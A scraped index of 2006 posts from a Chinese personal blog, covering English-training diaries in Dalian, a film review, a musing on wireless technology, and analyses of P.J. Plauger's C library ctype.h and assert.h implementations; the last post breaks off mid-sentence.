2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/07/24/dalian-trip-notes-living-environment/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"大连生活记-生活环境篇"},{"content":"大连今天终于放晴了，一大早上强烈的阳光就穿透玻璃窗射进屋内。看来昨晚洗的一些衣服可以很快的干了。\n今天Alex给我们上的是pronunciation课，他首先按照音标表，分别给我们纠正发音，包括各种Vowels和Consonants，他建议我们练习发音的最好方法就是拿个Recorder录下你的发音，然后听录音，直到你认为\u0026rsquo;You are comfortable with your pronunciation\u0026rsquo;为止。\nAlex还给我们讲了英语中的五种语调，如下图：\n从左边数第一个语调和第四个语调都是用来陈述事实(State facts)的，但是第一个语调当声音偏高的时候表明你处于Happy状态，偏低的时候表明你Maybe a bit sad。\n第二个语调显然是个疑问语调。\n第三个则是有些命令或者使令的口吻。\n最后一个则是表达出来一种disbelief的口吻。\n你可以拿\u0026rsquo;She is a pretty girl\u0026rsquo;来做作练习体会一下。^_^\n","permalink":"https://tonybai.com/2006/07/19/english-train-notes-20060719/","summary":"\u003cp\u003e大连今天终于放晴了，一大早上强烈的阳光就穿透玻璃窗射进屋内。看来昨晚洗的一些衣服可以很快的干了。\u003c/p\u003e\n\u003cp\u003e今天Alex给我们上的是pronunciation课，他首先按照音标表，分别给我们纠正发音，包括各种Vowels和Consonants，他建议我们练习发音的最好方法就是拿个Recorder录下你的发音，然后听录音，直到你认为\u0026rsquo;You are comfortable with your pronunciation\u0026rsquo;为止。\u003c/p\u003e","title":"英语培训日记20060719"},{"content":"自从来到大连后，大连的雨好像就没停过，问我大连本地人，他们也说最近雨下得太频繁了。就连我们的外教Alex也说他昨天洗的衣服不知道什么时候才能干。不过大连有一点好处，那就是凉快，有些时候可以说有些\u0026rsquo;冷\u0026rsquo;，有点夸张吧^_^，今天下班的时候感觉就冷冷的。\n今天是中教口语课的最后一节Read-Retell课了，今天的内容是一些commercial affairs，有点难，特别是有些术语不常用，解释起来比较麻烦，我Retell的那篇是关于\u0026rsquo;Check Clearing\u0026rsquo;的，一些draw, deposit等等的操作弄得我晕头转向。听Susan说下节课将换一种方式：Dialogue，如果我没听错的话。\nAlex今天一上来就给我们来了几个例子：\nSmile(s) — She is a delicate flower. 赞许\nMetaphor(s) — He is tall like/as a tree. 隐喻\nOxymoron(s) — She is as beautiful as a hippo. 矛盾修饰\n围绕着这几种表达方式我们讨论了一番。由于这周主要谈论Business，今天开了个头而已。\n","permalink":"https://tonybai.com/2006/07/18/english-train-notes-20060717/","summary":"\u003cp\u003e自从来到大连后，大连的雨好像就没停过，问我大连本地人，他们也说最近雨下得太频繁了。就连我们的外教Alex也说他昨天洗的衣服不知道什么时候才能干。不过大连有一点好处，那就是凉快，有些时候可以说有些\u0026rsquo;冷\u0026rsquo;，有点夸张吧^_^，今天下班的时候感觉就冷冷的。\u003c/p\u003e","title":"英语培训日记20060717"},{"content":"如果在你的源代码中经常见到如下代码：\n/* To Identify a letter */\nif ((i \u0026gt;= \u0026lsquo;a\u0026rsquo; \u0026amp;\u0026amp; i = \u0026lsquo;A\u0026rsquo; \u0026amp;\u0026amp; i \u0026lt;= \u0026lsquo;Z\u0026rsquo;))\n/* To Identify a digit */\nif ( i \u0026gt;= \u0026lsquo;0\u0026rsquo; \u0026amp;\u0026amp; i \u0026lt;= \u0026lsquo;9\u0026rsquo;)\n这说明你对头文件理解的不是很好，而也恰恰是为了减少代码中重复出现的各种\u0026rsquo;字符分类\u0026rsquo;代码而设置的。\n中的接口常用来进行数据的校验和分类，如在我们的项目中它常被用来校验原始数据的\u0026rsquo;符合性\u0026rsquo;。比如说一个11位的手机号码就必须是一个全数字的字符串，我们可以选择\u0026rsquo;isdigit\u0026rsquo;来进行测试，如果返回失败，则说明原始数据不符合要求，校验失败。\n首先这里有两件事不会提及，首先是对中各个接口的说明，你可以参见\u0026rsquo;ANSI C标准\u0026rsquo;文档，也可以参考各种C手册来找到你的答案；另外一点就是暂不考虑locale对中各种接口行为的影响问题，我们仅仅在\u0026rsquo;C\u0026rsquo; locale的范围内考虑问题。\nOk，有了上面两个前提，我们就可以考虑如何实现了。传统的方案，同时也是P.J.Plauger实现方案之一，那就是使用\u0026rsquo;Translation Table\u0026rsquo;和宏。宏的好处大家都很明了，不外乎可读性好+性能优越，它也是C程序员一直偏爱的工具，尽管现在很多人对之嗤之以鼻，我们依然在很多的源代码中大量的见到它的身影。\nP.J.Plauger的实现方案有三个值得注意的地方：\n首先我们来看看他声明的(摘录其中一部分)\n/* ctype.h */\n#ifndef _CTYPE\n#define _CTYPE\n/* _Ctype code bits */\n#define _XA 0×200 /* extra alphabetic */\n#define _XS 0×100 /* extra space */\n#define _BB 0×80 /* BEL, BS, etc */\n#define _CN 0×40 /* CR, FF, HT, NL, VT */\n#define _DI 0×20 /* \u0026lsquo;0\u0026rsquo; ~ \u0026lsquo;9\u0026rsquo; */\n#define _LO 0×10 /* \u0026lsquo;a\u0026rsquo; ~ \u0026lsquo;z\u0026rsquo; */\n#define _PU 0×08 /* punctuation */\n#define _SP 0×04 /* space */\n#define _UP 0×02 /* \u0026lsquo;A\u0026rsquo; ~ \u0026lsquo;Z\u0026rsquo; */\n#define _XD 0×01 /* \u0026lsquo;0\u0026rsquo; ~ \u0026lsquo;9\u0026rsquo;, \u0026lsquo;a\u0026rsquo; ~ \u0026lsquo;z\u0026rsquo;, \u0026lsquo;A\u0026rsquo; ~ \u0026lsquo;Z\u0026rsquo; */\nint isdigit(int);\nextern const short *_Ctype;\n….\n#define isdigit(c) (_Ctype[(int)(c)] \u0026amp; _DI)\n#endif\n/* isdigit.c */\n#include\n#define XDI (_DI|_XD)\n… …\nint (isdigit)(int c)\n{\nreturn (_Ctype[c] \u0026amp; _DI);\n}\n中有一处奇怪的地方，那就是每个接口函数都有一个同名的宏与之对应。再看看isdigit.c中isdigit接口的实现是int (isdigit)(int c)，而不是int isdigit(int c)，如果是后者，编译都会有问题。不是很了解P.J.Plauger为什么要这么做，Maybe是为了提供多种字符处理的方案，你可以这样来使用宏：\nint a = 0;\na = isdigit(5);\n同样你也可以这样来选择使用函数接口：\nint b = 0;\nb = (isdigit)(5);\n第二个值得注意的地方就是\u0026rsquo;Translation Table\u0026rsquo;转换的原理了，以检查digit为例，先看看ctype_tab表是什么样子的：\nstatic const short ctype_tab[257] = { 0, /* EOF */\n…, …, …,\n…, …, …,\n…\n…\n…\n…, XDI, …,\n…\n};\nconst short * _Ctype = \u0026amp;ctype_tab[1];\n注意这个表支持另外一个额外的值\u0026rsquo;EOF\u0026rsquo;宏，这样表的大小就是257，而非256了。\n当我们调用isdigit的时候，如：\nc = \u0026lsquo;5\u0026rsquo;;\nif (isdigit(c)) {\nprintf(\u0026ldquo;c is a digit\\n\u0026rdquo;);\n} else {\nprintf(\u0026ldquo;c is not a digit\\n\u0026rdquo;);\n}\n如上面isdigit实现，它把参数作为index在转换表中找到相应表项，然后与_DI宏做\u0026rsquo;与\u0026rsquo;操作。如c = \u0026lsquo;5\u0026rsquo;，其在ASCII码表中的index为53，我们在转换表中找出index为53的那个表项是XDI，然后XDI \u0026amp; _DI，结果为真。当然转换表中的表项都是事先按照ASCII码标安排好的。\n第三个值得注意的地方就是ctype_tab数组类型为short。按照P.J.Plauger的说法他之所以选择short而非unsigned char类型是因为他觉得这样的实现拥有最大的portability，易于以后支持其他各种locale。当然如果你能完全排除支持其他locale的念头，你大可使用unsigned char，而且这样可以更好的节省空间。\n中还提供toupper和tolower两个接口，这两个接口的实现也分别各需要一个转换表。这里就不详细叙述了。\n附录\nP.J.Plauger版本C标准库实现分析之\u0026rsquo;assert.h\u0026rsquo;\n","permalink":"https://tonybai.com/2006/07/17/plauger-c-standard-lib-ctype-header/","summary":"\u003cp\u003e如果在你的源代码中经常见到如下代码：\u003cbr\u003e\n/* To Identify a letter */\u003cbr\u003e\nif ((i \u0026gt;= \u0026lsquo;a\u0026rsquo; \u0026amp;\u0026amp; i = \u0026lsquo;A\u0026rsquo; \u0026amp;\u0026amp; i \u0026lt;= \u0026lsquo;Z\u0026rsquo;))\u003c/p\u003e\n\u003cp\u003e/* To Identify a digit */\u003cbr\u003e\nif ( i \u0026gt;= \u0026lsquo;0\u0026rsquo; \u0026amp;\u0026amp; i \u0026lt;= \u0026lsquo;9\u0026rsquo;)\u003c/p\u003e\n\u003cp\u003e这说明你对头文件理解的不是很好，而也恰恰是为了减少代码中重复出现的各种\u0026rsquo;字符分类\u0026rsquo;代码而设置的。\u003c/p\u003e","title":"P.J.Plauger版本C标准库实现分析之'ctype.h'"},{"content":"终于租到一间还算像样的房子了，毕竟属于出差，艰苦就艰苦点吧，毕竟比学生宿舍要好，起码不会定点熄灯。昨天我们几个学员以及所有可以出场的家属和Alex以及其GF一起去吃了一次barbecue，路边大排挡，新疆人的摊位，蛮有中国特色的，肉烤得很不错。Alex这个英国人很能喝，按他的说法：Ten bottoms of beer。昨天我们还发现Alex的中文很好，他在课堂上可从来不和我们说中文，他在中国只待了9个月，能说得如此之好，也很是让我们佩服。\n今天第一节听力课，听了几篇文章后发觉自己很是不专心，也许可能如老师Michael所说：总听一个人的读音容易分散精神，但愿真是\u0026rsquo;听力疲劳\u0026rsquo;。Michael今天还有一句让我印象很深，他认为听力要分为精听和泛听，要想有好的听力，这两者缺一不可。精听就是说你要认真听出你所听到的每一个单词，而不是仅仅知道大致含义；泛听恰恰相反，快速的听，迅速的听出其中关键的词汇或者短语或者句子，做出敏捷的判断。总之按照正确方法多多练习，多多总结英语发音中的语音现象，才是正确之道。\nAlex今天和我们讨论的TOPIC是Job Interview，我们四个人分两组进行了练习，之后Alex作了一次总结，他也讲了他对Interview的一些看法，他认为我们在Interview的时候，应该多Think about \u0026lsquo;We\u0026rsquo;而不是\u0026rsquo;I\u0026rsquo;，应该强调你拥有满足JOB需要的知识和技巧，同时你需要感谢公司给你一个满意的职位，这是一个\u0026rsquo;双赢的\u0026rsquo;面谈。\n","permalink":"https://tonybai.com/2006/07/14/english-train-notes-20060714/","summary":"\u003cp\u003e终于租到一间还算像样的房子了，毕竟属于出差，艰苦就艰苦点吧，毕竟比\u003ca href=\"http://tonybai.com/2006/07/02/return-to-campus-dormitory/\"\u003e学生宿舍\u003c/a\u003e要好，起码不会定点熄灯。昨天我们几个学员以及所有可以出场的家属和Alex以及其GF一起去吃了一次barbecue，路边大排挡，新疆人的摊位，蛮有中国特色的，肉烤得很不错。Alex这个英国人很能喝，按他的说法：Ten bottoms of beer。昨天我们还发现Alex的中文很好，他在课堂上可从来不和我们说中文，他在中国只待了9个月，能说得如此之好，也很是让我们佩服。\u003c/p\u003e","title":"英语培训日记20060714"},{"content":"每次出门在外，都得随身携带一堆\u0026rsquo;线\u0026rsquo;，什么笔记本电源线、鼠标(一般其线也好长好长)、MP3播放器USB连接线、耳机(麦克)线、MP3播放器充电器连接线、网线、数码相机充电器连接线、数码相机USB连接线、手机充电器线、手机USB连接线等等，有时候电源插排也必须带。这些线混成一团，看起来都让人不舒服，有时候这些线混在一起，想把他们分开的确也是件难事，恨不得拿把剪刀把它们全部剪断。所以我梦想一个\u0026rsquo;全无线的世界\u0026rsquo;也不过分^_^。\n现在也有各种无线的设备和协议，其中最著名的当属BLUETOOTH了。不过这远远未达到可以让我们\u0026rsquo;不带线\u0026rsquo;的地步。记得以前有一篇报道说是可以利用电源线来上网，我突然有种想法，那就是电能的无线传输，现在的电能通过电线传输，很多电能都损耗在了电线上，而且到了一个城市一抬头都是像蜘蛛网一样的电线，实在是有碍美观。特别是在一些人口密集的居民区，这种情况更加恶劣，按这样的分析，先不从能源损耗角度考虑，从美观的角度考虑，无线能源传输也有很大优势。\n有了无线能源传输这一技术，我们的生活会便利很多，我们的电器包括未来的电动家用车都可以摆脱\u0026rsquo;电源线\u0026rsquo;的烦恼，想象一下手机充电无需连接线、汽车可以边充电边行驶，那是一个多么便捷的世界亚。还有除了电能的无线输送外，所有其他数据的传输也都是无线的，我想象了一下，大致是这样一幅图景：\n每个人从出生就有唯一的一个GID(Global IDentification)，这是你启动一切无限设备的钥匙，它以一个芯片的形式植入你的身体，一旦被取出就自动Destroy(不是自爆^_^)。\n每种电器设备都有一个通用接口，你使用你的GID并通过该接口使用该设备，当然有权限设置，不是你的设备，你的认证会失败的。\n在这个世界上有很多种叫Service Provide Point(SPP)的设备，它们分别提供电力服务，通讯服务，身份识别服务、电视信号服务等等。\n我们以打开电视机收看电视为例子来看看这些东西都是怎么样协同工作的：当你用你的GID启动一台电视机时，电视机会通过到身份识别服务SPP那去鉴权，你是否拥有打开这台机器的权限，如果有，你可以继续收看电视节目，否则，将会被拒绝；一旦你打开电视界，电视机会通过通用接口去连接最近的电力服务SPP，然后无线方式获取电力，这时候一切电费都是从你的GID中扣除的；你的各个节目也是通过通用无线接口从电视信号服务SPP那得到的，所需费用同样从你的GID中扣除。\n当然这样的\u0026rsquo;无线世界\u0026rsquo;目前还只能存在于梦想之中，但是我们要敢于去想，不是有那么一句话么，叫\u0026rsquo;不怕做不到，就怕想不到\u0026rsquo;。\n","permalink":"https://tonybai.com/2006/07/12/wireless-world-in-dream/","summary":"\u003cp\u003e每次出门在外，都得随身携带一堆\u0026rsquo;线\u0026rsquo;，什么笔记本电源线、鼠标(一般其线也好长好长)、MP3播放器USB连接线、耳机(麦克)线、MP3播放器充电器连接线、网线、数码相机充电器连接线、数码相机USB连接线、手机充电器线、手机USB连接线等等，有时候电源插排也必须带。这些线混成一团，看起来都让人不舒服，有时候这些线混在一起，想把他们分开的确也是件难事，恨不得拿把剪刀把它们全部剪断。所以我梦想一个\u0026rsquo;全无线的世界\u0026rsquo;也不过分^_^。\u003c/p\u003e","title":"梦想中的'无线世界'"},{"content":"这两天一直在忙着找房子，本来到这是想好好学英语的，但是由于安排上的不妥当，导致我们浪费了好多功夫找房子，而且短期房难租而且死贵死贵。我们连续花了2天下午+晚上才搞定一个房子，离公司大约20分钟脚程，如果一切顺利，明天的这个时候，我们已经搬到新租的房子里了。\n随着学习的深入，新鲜感逐渐消失，觉得每天学习的内容也没有什么好说的。今天写作课，老师讲解了两种mail的写作方法，分别是’ASK FOR A FAVOR’和’THANKS FOR A FAVOR’，这两种信函比较简单，也没什么好说的。\nAlex今天让我们谈谈关于Marriage、Divorce、Parents和Child，他要求我们一个人站在前面讲1-2分钟，然后其他人Ask that person一些问题，That’s All。\n下午和学院的老师们见了面，交换了一下意见，估计从下周开始就不那么轻松了，时间变得紧了，没有时间复习英语了，学习的效果估计就要受到影响了，走一步算一步吧！\n","permalink":"https://tonybai.com/2006/07/12/english-train-notes-20060712/","summary":"\u003cp\u003e这两天一直在忙着找房子，本来到这是想好好学英语的，但是由于安排上的不妥当，导致我们浪费了好多功夫找房子，而且短期房难租而且死贵死贵。我们连续花了2天下午+晚上才搞定一个房子，离公司大约20分钟脚程，如果一切顺利，明天的这个时候，我们已经搬到新租的房子里了。\u003c/p\u003e","title":"英语培训日记20060712"},{"content":"一大早就被震耳欲聋的雷声所惊醒，外面哗哗的下着大雨，估计也就是早上三四点钟，继续睡。昨晚GF和我说她们寝室要看世界杯决赛，我想那时那刻她们正在电脑前\u0026rsquo;朦胧地\u0026rsquo;欣赏着意大利和法国队的表演呢。早上7点闹钟把我们都叫醒了，可是外面的雨依旧那样的大。\n我们趟着积水来到教室，中教口语老师依旧不见踪影，我们猜测是雨太大了，堵车或者是叫不到Taxi，大约等了半个多小时，我们的中教口语老师Susan才气喘吁吁的跑了进来，原来真的是因为雨太大了导致积水堵车，还好还有不少时间。按照原计划今天仍然是Read-Retell课程，只是这次复述的短文篇幅更长罢了。其中我复述的故事是这样的(可能很多的人都听过这个故事，挺有意思的)：\nThere was a farmer living in a smallvillage/who lived in a smallvillage. He suffered from a serious/severe pain in the chest/there was something wrong with his chest. This illness/disease didn\u0026rsquo;t seem to get any better. The farmer finally/eventually decided to consult/see a doctor in the town. But he was too poor to pay the doctor. He was told that a patient had to pay 3 pounds for the first visit and 1 pound for the second visit. He thought about it for a long time, and then he decided to see the doctor.\nWhen he came into the doctor\u0026rsquo;s consulting room, he said naturally/casually to doctor that he came here again. With a little surprise, the doctor asked him some questions, examined his chest and then took the pound which the farmer insisted on giving him. Then the doctor said with a smile:\u0026ldquo;Well, sir. There is nothing new. Please continue to take the same medicine I gave you the first time you came to see me\u0026rdquo;.\n在复述的过程中，时态、人称和恰当的用词是很重要的，另外适当的用一些复杂的句子可以给你的复述增色不少，不要把retell和商务写作的原则弄混哟。\n今天我们的外教Alex给我们带来的话题是\u0026rsquo;Education\u0026rsquo;，比较中西方教育的不同，话题诸如\nyour education experience； good teacher \u0026amp; bad teacher； why do you want to study； if you are a parent, what do you want to teach your child? what do you think of the TV\u0026rsquo;s effect on children? 热烈的讨论之后，Alex教给我们几条idioms:\nup to one\u0026rsquo;s ears = very busy\n[Ex.]\nI\u0026rsquo;m up to my ears these days and I have little time to share with my girlfriend.\nHit the books/road/join\n[Ex.]\nIf you want to learn something, You have to hit the books. = read the books\n[Ex.]\nI don\u0026rsquo;t want to stop right after we hit the road. (出发，上路)\nHit the join = go to the toilet.\nrub salt into the wound\n[Ex.]\nTom failed the final exam. pls don\u0026rsquo;t rub salt into the wound. ","permalink":"https://tonybai.com/2006/07/10/english-train-notes-200607010/","summary":"\u003cp\u003e一大早就被震耳欲聋的雷声所惊醒，外面哗哗的下着大雨，估计也就是早上三四点钟，继续睡。昨晚GF和我说她们寝室要看世界杯决赛，我想那时那刻她们正在电脑前\u0026rsquo;朦胧地\u0026rsquo;欣赏着意大利和法国队的表演呢。早上7点闹钟把我们都叫醒了，可是外面的雨依旧那样的大。\u003c/p\u003e","title":"英语培训日记200607010"},{"content":"今天是到大连来的第一个周末，和几个朋友一起去大连的几处闹市区’探路’，毕竟初来乍到，需要朋友们指引。中午饭后，朋友们觉得也没什么可去的地方，其中一个提议去看电影，我也好久没到影院去看电影了，上次本想去看Da Vinci Code的，可是后来片子由于宗教问题而被撤下，我也就扑了个空。反正也没什么事，去看看电影，消遣一下。其实我们也不知道现在上映什么电影呢，去了再说。\n朋友有一张奥纳电影城的会员卡，可以打8折的，我们就定下去奥纳了。后来听说奥纳电影城是东北首家五星级影城，其实感觉和沈城的几家影院也没差太多，票价也不贵，一般20-25元，在外面的代理点买票更便宜，15块就可以拿下。今天上映的电影不少，什么’天空决战’、’撒哈拉骑兵’、’冰河世纪2′、’海神号’等，遗憾的是’超人归来’是在两天后才公映，没赶上。反正这几部电影我们都没看过。我是偏向’海神号’的，一来是因为我觉得在电影院看这种灾难片，视听效果肯定没得比；二是屏幕上显示’海神号’的播放厅是’巨幕’的，我还从未看过巨幕电影呢，这次一定要尝试一把。还好，其他人和我的想法不谋而合。离电影开演还有半个小时，我们在这个间歇期间还看了场泳装模特儿表演，过瘾^_^！\n检票进入放映厅，的确是巨幕，整个屏幕我想有10米高吧，估计是一般屏幕的三个那么高，我们接受了售票员的建议，坐在了偏后的位置。不过当电影开演时却很是让我们失望，屏幕虽然是巨幕，但是影片却还是正常电影放映，那么大的一个屏幕，只是在中间区域有内容，气愤。这不是’欺诈’么？没办法，继续看电影吧。\n言归正传说电影。其实’海神号’已经上映很久了，当初并没想看，就因为怕该片在特技和情节上与’泰坦尼克号’有雷同，怕看了不值。不过，看完之后觉得各有千秋，当然N年前的’泰坦尼克号’在特技方面是无论如何都赶不上这部’海神号’了，毕竟科技发展如此迅速。有人说：海神号情节有些单一，我倒是不以为然，侧重点不同罢了。’泰坦尼克号’为了表现两个年轻人的’爱情’，又怎能不花上一段时间去演绎呢，海神号反倒来的猛烈来的直接。一个大浪，除了逃生还是逃生，让你在看片子的时候，没有喘息的时间，让你始终神经绷紧，和影片中的主人公一起感受那种灾难来临、死亡即将降临时的内心变化。海神号中也有爱情，同样更有亲情和人性，母亲为了儿子，父亲为了女儿甘愿牺牲自己，当然还有在危急时刻的无奈，也就是那个厨师海员的死，真是无奈之举亚。影片的视听冲击力很是震撼，看完电影后，手心里一层冷汗，特别是在那种硬件设施很好的影院中，奥纳的音响设备我觉得还是不错的，一些从声道的音质也很清晰，这是在电脑上看所感受不到的。看到很多幕后介绍说很多危险镜头都是演员们亲自上阵的，没有使用替身，这也增加了这部戏的精彩程度，演员们也因此时常挂彩，拍摄这种题材的片子还真是一种挑战，不易呀，特别是那个小演员吉米·本奈特，这么小就经历了一次’海难’的洗礼，对其以后的发展还是很有好处的。两位男主人公乔什·卢卡斯和科特·拉塞尔也都是演技一流的’职业选手’了，喜欢灾难片的朋友不妨也到影院去看看。\n唯一遗憾的就是巨幕不放巨幕电影，听说有一种新的IMAX(Image MAX)格式的电影将来会越来越普及，IMAX格式我想就是真正的巨幕电影吧，到那时看这种灾难性质的影片一定不会让你失望的。\n","permalink":"https://tonybai.com/2006/07/09/film-poseidon/","summary":"\u003cp\u003e今天是到大连来的第一个周末，和几个朋友一起去大连的几处闹市区’探路’，毕竟初来乍到，需要朋友们指引。中午饭后，朋友们觉得也没什么可去的地方，其中一个提议去看电影，我也好久没到影院去看电影了，上次本想去看Da Vinci Code的，可是后来片子由于宗教问题而被撤下，我也就扑了个空。反正也没什么事，去看看电影，消遣一下。其实我们也不知道现在上映什么电影呢，去了再说。\u003c/p\u003e","title":"灾难巨制'海神号'"},{"content":"I believe that seeing a realistic implementation of the Standard C library can help you better understand how to use it.\n— P.J.Plauger\n按照字母序首先我们来看看\u0026lt;assert.h\u0026gt;，这个文件提供的接口功能很简单，但却是我们极其常用的功能-断言机制(如果条件为False，则输出Diagnostics信息，然后Abort)。当然在最终产品中使用断言并不是一种好的方法，不过断言是一种很有用的帮助我们调试程序的好工具。\n我们一般在程序的调试版本中使用断言机制，一般用来对Input进行Validation，输出一些Diagnostics信息。如：\nassert((idx \u0026gt; 10) \u0026amp;\u0026amp; (idx \u0026lt; 100));\n\u0026lt;assert.h\u0026gt;中提供一个宏assert，这个宏的功能由另一个宏NDEBUG(标志是否是DEBUG版本)决定。如果NDEBUG宏在你include \u0026lt;assert.h\u0026gt;时没有被定义，这时断言功能开启；否则断言功能关闭。如：\n#define NDEBUG\n#include \u0026lt;assert.h\u0026gt; /* 此时断言功能关闭 */\n你也大可不必在你的各个源文件中控制断言功能的开关，在编译器选项中同样可以定义NDEBUG宏，如gcc -DNDEBUG test.c，当然对于大的project，这些是应该放在Makefile中的，这样的结果就相当于在你所有#include \u0026lt;assert.h\u0026gt;的地方之前定义了NDEBUG宏，也就是说在每个编译单元中，断言功能都是关闭的。\nassert宏看起来很简单，但是由于其是C标准库提供的接口，所以在实现的时候需要考虑的更加细致和全面一些。从上面的叙述上来看assert.h文件的结构应该大致如下：\n#undef assert\n#ifdef NDEBUG\n#define assert(test) ((void)0)\n#else\n#define assert(test) …\n#endif\n我们可以很轻松的就拿出一个assert的实现版本：\n/* NDEBUG not defined */\n#define assert(test) if (!(test)) \\\nfprintf(stderr, \u0026ldquo;Assertion Failed: %s, file %s, line %d\\n\u0026rdquo;, \\\n#test, __FILE__, __LINE__); \\\n那么这个版本的实现可以接受不，答案是不能。原因有以下几点：\n这个实现中直接用到了stderr和fprintf，这两个符号都是在\u0026lt;stdio.h\u0026gt;中声明的，但是C标准库头文件基本上都是各自独立的，在\u0026lt;assert.h\u0026gt;中是不会再包含其他头文件的，那么这就要求使用assert的程序自己包含\u0026lt;stdio.h\u0026gt;，这显然不符合一个C标准库的基本要求； assert宏应该最终展开为一个void expression，因为用户很可能在他们的程序中写出像(assert(0 \u0026lt; x), x \u0026lt; y)这样的代码来，而在上面的实现版本中，显然assert展开后不是一个void expression。 我们再来看看P.J.Plauger的实现版本：\n/* NDEBUG not defined */\nvoid _Assert(char *);\n#define _STR(x) _VAL(x)\n#define _VAL(x) #x\n#define assert(test) (test) ? (void)0 \\\n: _Assert(__FILE__ \u0026ldquo;:\u0026rdquo; _STR(__LINE__) \u0026quot; \u0026quot; #test)\n/* in xassert.c */\n#include \u0026lt;assert.h\u0026gt;\n#include \u0026lt;stdio.h\u0026gt;\nvoid _Assert(char *msg) {\nfprintf(stderr, \u0026ldquo;%s — assertion failed\\n\u0026rdquo;, msg);\nabort();\n}\n分析一下这一版本的实现，首先assert宏并没有直接调用任何库输出函数，而是调用了一个自己实现的函数_Assert，把向stderr输出诊断信息的活都交给了_Assert。_STR和_VAL是两个辅助宏，用来将__LINE__字符串化。这里比较难懂的地方就是_Assert(__FILE__ \u0026ldquo;:\u0026rdquo; 